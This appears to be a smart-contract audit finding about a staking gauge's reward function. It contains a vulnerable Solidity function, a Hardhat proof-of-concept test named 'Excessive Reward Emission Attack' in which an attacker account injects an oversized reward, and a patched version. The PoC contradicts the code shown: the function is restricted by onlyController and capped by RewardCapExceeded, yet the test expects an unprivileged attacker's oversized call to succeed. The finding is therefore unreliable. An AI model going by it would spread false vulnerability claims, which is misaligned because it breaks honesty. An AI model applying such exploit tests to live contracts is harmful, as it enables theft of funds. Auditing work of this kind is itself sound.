function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Excessive Reward Emission Attack", function () {
let BaseGauge, gauge, rewardToken, owner, attacker, user1;
const MAX_REWARD = ethers.utils.parseEther("1000000");
const NORMAL_REWARD = ethers.utils.parseEther("100");
before(async function () {
[owner, attacker, user1] = await ethers.getSigners();
const MockERC20 = await ethers.getContractFactory("MockERC20");
rewardToken = await MockERC20.deploy("Reward Token", "RWT");
await rewardToken.deployed();
const BaseGauge = await ethers.getContractFactory("BaseGauge");
gauge = await BaseGauge.deploy(rewardToken.address, rewardToken.address, owner.address, NORMAL_REWARD, 7 * 24 * 60 * 60);
await gauge.deployed();
await rewardToken.mint(owner.address, ethers.utils.parseEther("10000000"));
await rewardToken.mint(attacker.address, ethers.utils.parseEther("10000000"));
});
it("Admin deposits a normal reward amount (expected behavior)", async function () {
await rewardToken.connect(owner).approve(gauge.address, NORMAL_REWARD);
await gauge.connect(owner).notifyRewardAmount(NORMAL_REWARD);
const rewardRate = await gauge.rewardRate();
console.log(" Normal rewardRate:", ethers.utils.formatEther(rewardRate));
expect(rewardRate).to.be.lte(NORMAL_REWARD.div(7 * 24 * 60 * 60));
});
it("Attacker injects an excessively high reward amount (before fix)", async function () {
await rewardToken.connect(attacker).approve(gauge.address, MAX_REWARD);
await gauge.connect(attacker).notifyRewardAmount(MAX_REWARD);
const manipulatedRewardRate = await gauge.rewardRate();
console.log("Manipulated rewardRate:", ethers.utils.formatEther(manipulatedRewardRate));
expect(manipulatedRewardRate).to.be.gt(NORMAL_REWARD.div(7 * 24 * 60 * 60));
});
});
function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
uint256 maxAllowedRate = periodState.emission / getPeriodDuration();
uint256 newRewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
rewardRate = newRewardRate > maxAllowedRate ? maxAllowedRate : newRewardRate;
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}